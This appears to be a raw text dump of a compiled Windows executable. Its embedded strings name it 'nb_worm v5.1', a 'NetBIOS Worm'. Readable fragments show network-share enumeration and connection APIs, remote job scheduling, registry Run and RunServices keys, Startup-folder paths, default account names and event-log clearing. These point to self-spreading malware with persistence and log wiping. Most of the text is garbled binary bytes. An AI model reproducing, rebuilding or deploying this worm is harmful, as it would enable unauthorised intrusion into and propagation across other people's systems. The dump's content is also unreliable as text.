MZ@ !L!This program cannot be run in DOS mode. $}9L9L9LBL8LL7LLL[L2L9LsLL;LRich9LPELNh> p3@px8 r<.text` `.rdataT  @@.data/@ @@.idata p`@.reloc p@B nb_worm v5.1 L G8 s I$USVWxEjoPhHHt 3HE MM}d}5UPjMQh7@jjsB;Ul뼸t hsB;E MM}d}(jUlPsB;fML3_^[Ĉ;C]UPSVW}$VB$VB=$VB~w$VB VB VB= VB~R VBVBVB=VB~-VBHJBHJB=HJB~ HJB j MQHJBRFR EPMQfh@ BURej EP VBQR UREP@h@ BMQ/j UR VBPQ MQUR h@ BEPj MQ$VBRQ EPMQ_^[P;u]UPSVW} sB;Pj EP RP j URRP j URRP j URR}P UREPh@ BMQUREPh@ BMQ{UREPkh@ BMQZUREPJ_^[P;]USVW@QsDžjjjfDžfRfPjQRPh!BQRPQRPQh!BRPQEEUEEDžDžhPjrB;PsB;j\QTEDžDžQ0JBP@JBREP=MQRh|!BP{MQRhjPQsB;RURPhP!BQURPjQRsB;EPQh!BREPQjRPsB;u=h BQ>URP;QR=h BP MQR PQ=hD BR EPQ RPlDž}jUR uc6 P hsB; o3_^[; ]ULSVWhPjrB;S PsB;E jMQjh?jjjh!BhrB; hRjjPMQrB; URrB; _^[L; ]USVW hH"BP `QrB;H phRjrB; PsB; jEPjh?jjjh"BhrB; hQjjREPrB; MQrB; _^[; ]USVWT+EjPEP MQE}UB 8jMQ PMQ URPhX"BEP h@ BMQ EURC HJBh@ Bj EEP VBh@ Bj\ EMQ  VBh@ Bj9 EUR $VB=HJBu6=VBu*HJBVB VB$VB1=HJB u(HJB VB VB$VB_^[Ĭ;]Ud SVWEf"Bf3ff "Bf3fh"BsB;E}h"BURsB;VBhp"BEPsB;VBh\"BMQsB;kVB=VB&=VB=VB URPEPQ U RPE PQ URPVB;E܃}MQiEH k<ыEPiMAk ЉUMIMUUEPVB;vEjjMQ UU荅EMQURPVB;6E_^[d ;#]UDSVW}h"BsB;dE}t9h"BEPsB;C VB= VBtjj VB;"_^[D;]U`SVWhjP/ DžQrB;uih"BRh"B|P|QRrB;NxjxPrB;0t_^[`;]UtSVWf"Bf3fDžMQQPURPJ EDžEE MQUREPMQREPQ%E}t }tDž ;UQh"BR HQh"BR h"BP u*jjM Q RE P QQ5}3_^[t;(]%sB%sB%sB% sB%sB%sB%rB%rB%sB%sB%rB%rB%rB%rB%rB%0tB%,tB%tB%tB%tB%tB%tB%tB%tB%tB%tB%tB%`tB%dtBuUPRSVWh #Bh Bj*h"Bjzu_^[ZX]W|$j$L$WtAt;u~Ѓ3ƒtAt#ttt͍y yyyL$ tAtdGu~Ѓ3‹tt4t'ttljD$_fD$G_fD$_ÈD$_UE`JB]U`JBiCÞ&`JB`JB%]UW}3AOE G8t3_U=LB~jE3ɊQEU3 JB3fAU}t EE붋M3ҊUEEMM}-t}+uU3EMME=LB~jUREE JB3fAU}t%Ek MTЉUE3ɊMUU뤃}-uEE]UEP]UV=LB~jE3ɊQaEU3 JB3fAU}t EE붋M3ҊUEEMM}-t}+uU3EMMEE=LB~jUREE JB3fAU}t;jj EPMQaȋE0MuU3EMM뎃}-uE؋UEU^]U,E EE MM} } UDE3ɊE3ɊL ȋU3L؋M3ҊEԃEԅu}tMM 0VBUE3Ɋ3ҊT ؋E3Ɋ#ЅtM3Ҋt EEËMM UUE3Ɋt} u E|JB,M tU|JBEMU |JBE]UQ}|}|c} u EJBQMJBU} ujsBMJB'} ujsBUJB EM JBE]UQoBEM oBE]U,0S3Wƅ3fƅ3fƅ3fE}|}|}hxJBsB=@VBuBh%BsBt h$BQsB@VB=@VBuURE Ph$BQ@VBRsBhxJBsBk}t7PMQhR1}h$BPF}u2}t Dž$B Džt$BQRPQ}u9U|JBthp$BQhl$BR} tBPMQU Rh`$BhPK/}h$BQsRP[=oBt;QREPoB t}u hxJBsBM|JBt>E5| s*؋ىUUUu} Dž UU uEM׉M RPRP.0RPQR.9~MEERM+MM܋UUE%t)M0u}uEEM0U܃U܃E@tOMtƅ-E2Utƅ+EEtƅ E+M+MU uPMQRj PMQURPMt&UuPMQRj0}}EM܉||||tmffZfZPxQ{+tt&PMQtRxP)zQUREPMQUtPMQRj  _^[]pA@ B@LB@B@C@"C@nC@D@B@B@B@B@B@B@C@C@C@C@C@Uz u Ext!hX,Bjhkh+BjGu3ɅudUB%uMuEUB%M;t!h,Bjhrh+Bju3҅u}t%E $PMQFE}u3C#U $REPEE}u3 PB PB}uVUWB+BWB WBM WBUWB+BWB WBM WBWB;WBv WBWBM MUE ;Bv$MU +QR3PBPMUQR贮 j3PBPMM Q蛮 }uUEBMUQ EMHUE B}u/}uM;Mt!h+Bjhh+Bjru3҅uŋE;Et}tEM9tUMQP WB;Mt!hh-Bjh*h+Bju3҅u΋EH WBUztEHU= WB;Mt!hP-Bjh4h+Bjku3҅u΋E WBUB$P3Ɋ PBQUR EPA)MAUBP3Ɋ PBQU RΨ _^[]UjEP]USVWPBt0u!h+Bjh|h+Bj蚮u3ɅuЋURu!h,Bjhh+Bjcu3uɋM MUB%tCMyt:UB%t*Myt!h8.Bjhh+Bju3҅uExu } uE Myt2UB;E t!h-Bjhh+Bj谭u3Ʌu΋UBEE_^[]UQPBEM PBE]UQSVWEPptkM MUB%tCMyt:UB%t*Myt!h8.Bjhh+Bju3҅uEM H_^[]UQ0SBEM 0SBE]UQSVWEEMMt`U3M UU;tAE %PM3ҊQREPh|.BjjjjJ u3ɅuE됋E_^[]USVWEPBu >E}}MMUU}E$@h/BhX"Bjjjj褫u3Ʌuh/BhX"Bjjjjyu3҅uvh/BhX"BjjjjQu3uNhd/BhX"Bjjjj)u3Ʌu&h8/BhX"Bjjjju3҅u3WBEMU}EEHt#UztEHt UzuEHPBUE0/BjPBPMQ u:U REHQURh .Bjjjj6 u3uEj PBQUBMT RT u:E PMQREPh-Bjjjj٩ u3ɅuEUzuPEHQPBRE P u/M Qh/Bjjjj耩u3҅uE}uvExt3MQ REHQURh.Bjjjj7 u3u͋MQRE PMQh.Bjjjj u3҅uEE_^[]P@(@@Պ@UQPBE}t M PBE]UQPBu= WBMUE}t$MQuE PM QU΋]UQ}t3E PMQLsBu!}tU REPPsBu EEE]UQ}u3tjj E P u3YM Q;E}tU REP, PVBtU Rj$nBPHsB]UQEPcu3M MUB%t"MytUB%t MyuijU REP tSMQ;U uHEH; PB:}t UEH }t UEH }t UEH 3]UQZBEM ZBE]USVW}u+h0BhX"Bjjjj:u3uMWBE EE}}MUDEMDӋWBUEM}UB%|fMQ}UEHUDMQMDUB%MTEPMA%MT%URh/Bjjjj=u3uOMWBQ,E WBH0_^[]USVWE}t } t}u.h@0BhX"BjjjjǤu3uڋEE MM}UEMu T+TEMTUEMu T+TEMTUE|u MU|t%}t}u}uPBtEmMU A,+B,MA,UE J0+H0UJ0EE_^[]USVWEh81BhX"Bjjjj詣u3uڃ}tMUWBEMU}E;E MQt-EHtUB%u PBuUztpjjEHQ u*UB Ph$1Bjjjju3Ʌu/UB PMQRh1Bjjjj跢u3uыMQRh1Bjjjj菢u3u؋MQuqEHQUB%PM Qh0Bjjjj@ u3҅uƒ=ZBtEHQU RZB EPMyu=UBPM Qh0Bjjjjաu3҅uыEP[MQuJEHQUB%PM Qh0Bjjjjx u3҅u‹EP@hh0BhX"BjjjjAu3Ʌu_^[]U\SVWE EEMy} UBEEM;MUUB E=LB~hWMQUEUJB3f PWM}tUUE EMLURh\1BEkLQܕ 6UDEPMQhL1Bjjjj"u3҅u_^[]U4SVWEP}u}u PBt=}t7hd1BhX"Bjjjj赟u3҅uj3_^[]UQSVW}uE EE}}DMPBREMTREMTRh1Bjjjj# u3u뭋MQ,Rh1Bjjjju3u؋MQ0Rh|1Bjjjjўu3u_^[]UjjEPp ]UjjEPP ]UjjEP0 ]UjhEP  ]UjhEP ]UjhEP ]UjhWEP ]UjjEP ]UjjEPp ]UjjEPP ]UQ=4XBujjEP# t EEE]UE%EM3ҊYB#Uu1} tE3f EJB#M ME}u EEE]U(EPEM; 4XBu3}u)3E UU}=Ek0PB;M#E U܃U܁}s EƀYBE MM}s{Uk0EPBM UUE3ɊtMU3BtAM3ҊU E܃E܋M3ҊQ9UwE܋MYB PBE܈YBvM 4XBXB4XBRZBE EE}sMk0UEfAPBf UXB3hUREPDsB2E M܃M܁}s UƂYBE4XBZB}MM U؃U؋E3ɊtGU3Bt;M3ҊU E܃E܋M3ҊQ9UwE܊YBU܈YBE E܃E܁}sM܊YBE܈YB׋ 4XBQZBXB XBE UU}sEfEXB3=XBtm3]UXB}uXBXOwnerGuestAdministrator."C:\Documents and Settings\All Users\Start Menu\Programs\Startup""C:\WINDOWS\Start Menu\Programs\Startup""C:\WINNT\Profiles\All Users\Start Menu\Programs\Startup"\WINNT\Profiles\All Users\Start Menu\Programs\Startup\WINDOWS\Start Menu\Programs\Startup\Documents and Settings\All Users\Start Menu\Programs\Startup\\\Software\Microsoft\Windows\CurrentVersion\RunSoftware\Microsoft\Windows\CurrentVersion\RunServicesNetBIOS Worm%sNetApiBufferFreeNetScheduleJobAddNetRemoteTODnetapi32.dllRegisterServiceProcesskernel32.dllSecurity\localhostC:\%Si386\chkesp.cThe value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared with a different calling convention. format != NULLsprintf.cstring != NULLmbstowcs.cs != NULL4@4@Assertion FailedErrorWarning%s(%d) : %s Assertion failed!Assertion failed: _CrtDbgReport: String too long or IO ErrorSecond Chance Assertion Failed: File %s, Line %d wsprintfAuser32.dllMicrosoft Visual C++ Debug LibraryDebug %s! Program: %s%s%s%s%s%s%s%s%s%s%s (Press Retry to debug the application) Module: File: Line: Expression: For information on how your program can cause an assertion failure, see the Visual C++ documentation on asserts....dbgrpt.cszUserMessage != NULL("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)_flsbuf.cstr != NULLEEE50P (8PX700WP `h````ppxxxx(null)(null)output.cch != _T('\0')stdenvp.cstdargv.ca_env.cioinit.cruntime error TLOSS error SING error DOMAIN error R6028 - unable to initialize heap R6027 - not enough space for lowio initialization R6026 - not enough space for stdio initialization R6025 - pure virtual function call R6024 - not enough space for _onexit/atexit table R6019 - unable to open console device R6018 - unexpected heap error R6017 - unexpected multithread lock error R6016 - not enough space for thread data abnormal program termination R6009 - not enough space for environment R6008 - not enough space for arguments R6002 - floating point not loaded Microsoft Visual C++ Runtime LibraryRuntime Error! Program: vsprintf.cGetLastActivePopupGetActiveWindowMessageBoxATq@Zq@_getbuf.c_file.cClientIgnoreCRTNormalFreeError: memory allocation: bad memory block type. Invalid allocation size: %u bytes. Client hook allocation failure. Client hook allocation failure at file %hs line %d. dbgheap.c_CrtCheckMemory()_pFirstBlock == pOldBlock_pLastBlock == pOldBlockfRealloc || (!fRealloc && pNewBlock == pOldBlock)_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ_CrtIsValidHeapPointer(pUserData)Allocation too large or negative: %u bytes. Client hook re-allocation failure. Client hook re-allocation failure at file %hs line %d. _pFirstBlock == pHead_pLastBlock == pHeadpHead->nBlockUse == nBlockUsepHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQDAMAGE: after %hs block (#%d) at 0x%08X. DAMAGE: before %hs block (#%d) at 0x%08X. _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)Client hook free failure. memory check error at 0x%08X = 0x%02X, should be 0x%02X. %hs located at 0x%08X is %u bytes long. %hs allocated at file %hs(%d). DAMAGE: on top of Free block at 0x%08X. DAMAGED_heapchk fails with unknown return value! _heapchk fails with _HEAPBADPTR. _heapchk fails with _HEAPBADEND. _heapchk fails with _HEAPBADNODE. _heapchk fails with _HEAPBADBEGIN. Bad memory block found at 0x%08X. _CrtMemCheckPoint: NULL state pointer. _CrtMemDifference: NULL state pointer. Object dump complete. crt block at 0x%08X, subtype %x, %u bytes long. normal block at 0x%08X, %u bytes long. client block at 0x%08X, subtype %x, %u bytes long. {%ld} %hs(%d) : #File Error#(%d) : Dumping objects -> Data: <%s> %s %.2X Detected memory leaks! Total allocations: %ld bytes. Largest number used: %ld bytes. %ld bytes in %ld %hs Blocks. osfinfo.cF@L@<@B@fclose.c_freebuf.cstream != NULLpv@`@w@0 B( B B B O@X$BP$B<$BJBJB ((((( H .4'B$'B   )B)B )B l)B@)B)B(B(B(B`(B((B'B'Bx'By'Bz'B'B'B ^B ^B@@@@@@*B*B*B*B*B`y!@~ڣ @ڣ AϢ[@~QQ^ _j21~        ! 5A CPR S WY l m pr   )    @purxpurq0v,tXr8vt$rhv`tuuuuuLu`u6uu*uu uuputhyXyHy8y*yyyyxxxxxxxxnxvvvvvvvvvvww4wLw`wtwwwwww xx,x:xHxTxbx|yvvDvXv st49 uuuuuLu`u6uu*uu uuputhyXyHy8y*yyyyxxxxxxxxnxvvvvvvvvvvww4wLw`wtwwwwww xx,x:xHxTxbx|yvvDvXv st49 TerminateThreadSleepJCreateThreadmGetTickCount(CopyFileA$GetModuleFileNameA&GetModuleHandleAuGetVersionExA>GetProcAddressLoadLibraryAKERNEL32.dll[RegCloseKeyRegSetValueExA_RegCreateKeyExA0ClearEventLogA@OpenEventLogAADVAPI32.dllWNetCancelConnectionAWNetAddConnection2AMPR.dllWSOCK32.dllHNetApiBufferFreeNetShareEnumNETAPI32.dllGetLastErrorMultiByteToWideCharPGetStartupInfoAGetCommandLineAtGetVersion}ExitProcessQDebugBreakRGetStdHandleWriteFileInterlockedDecrementOutputDebugStringAInterlockedIncrementTerminateProcessGetCurrentProcessUnhandledExceptionFilterFreeEnvironmentStringsAFreeEnvironmentStringsWWideCharToMultiByteGetEnvironmentStringsGetEnvironmentStringsWmSetHandleCountGetFileTypeHeapDestroyHeapCreateHeapFreeVirtualFree/RtlUnwindASetConsoleCtrlHandlerSGetStringTypeAVGetStringTypeWjSetFilePointerIsBadWritePtrIsBadReadPtrHeapValidateGetCPInfoGetACP1GetOEMCPHeapAllocVirtualAllocHeapReAlloc|SetStdHandleLCMapStringALCMapStringWFlushFileBuffersCloseHandle 11I112!2'232=2F2L2X2b2k2q2}222222223393Q334446o666r7777!8[8888!9`99;;;;; <<<<<<=-=@= >1>Q>V>t>y>>>>>>>>>>? ???)??? 0060@0L0S0]0i0p0z000001o11{2222222I3^3r33304%5C5W5>6D6J6P6V6\6b6h6n6t6z666666666666666666667 7'848D8I888!9@999I:h:c;<<>> >>>>b>h>l>p>t>>>?? ???1?[???????????0000 0001z11111,232B2V2x222333333444 4&4+484b4g4q444%5D5U5t555556606:6J6T6c6u6677%7-737G7T7Y7_7w7777777 8G8S8g888889 9"939`9g9q99999::4:@:n:w::;4;@;_;y;;;;;;;;<<4I>D?M???@0*01C1l1111x2233148445-6_777<<<<<<<<<<<====!=%=)=-=`=d=h=l=p=t=x=|========U?^?c?h?u?z?P0#0*000=0I0R0g0}00000000J1111111112%2<2S2j222222223 363C33 4L4m4s444 55-5H5Z5b5h5l5q5~555666q7d99f:o:~:::::);9;Z;;;;;<8Z>>>>l?s??????`00070U0n0000000000111122222303I3f3o3x3333333*4;4b4{44444 8868?8990999a:k:q:|::::::::::::;^;g;{;;;;;;;;R=O=l==========>>%>.>_>g>m>{>>>>>>>>>>>>>>?p0080F0N0X0i0s0}000000111112 232P2_2222222;3j3B4L4y4444445>5H5~55555H6a6v6666666666666$7-7]7v777778.858J8Z99A:V:b:~::::::$;L;;;;;E>>>>>> ?%?W?????20>00011%1-131<1D1L1R1[1a1g1n1s11122\2f2r2222222233#333344#4Y4e44444*505T55555 6M6Y6w6666666777;7M777778"8x88889!999995:::::;;);.;Q;V;y;~;; <<>t>>?'?.??0!0@0E0o00B1l1x111e2223_3333?4a4x44595>55506]6666@7\777&9x9992:_::::::;;;H;P;q;;;;<B>I>>?(?L?]????0%030L0Z0000011$1E1M1e1x11111111112 2'202;2J7V7_7{777777777777888*81878?8G8S8\8k8t8}88888889S9_999992:=====>>>>8>>>G>L>U>g>n>>>>>>?p6667"7)747<7E7U7c7o77777777777777788$8+8=8j88j98>]>i>o>>>>>>?H?h??????00G0U0c0v00000001 1,1?1P1Z1x111112-2o2y222223@3U3444 555K555555y6667]7d77|88899{9999999: :(:6:C:M:^:k:u:::::;;;;z<<<========>5><>@>D>H>L>P>T>X>>>>>>?%?@?G?L?P?T?q???????????:0@0D0H0L00011111122:2O2a2k2222-363333333333334 4444"4(4.444:4@4F4L4R4X4^4d4j4p4v4|44444444444444 4484::01122@P 33 60:4:8:@:p::::::<>P 0000000000003NB10Nh>C:\Documents and Settings\ElGado\Escritorio\vbworm\Debug\nb_worm5.1.pdb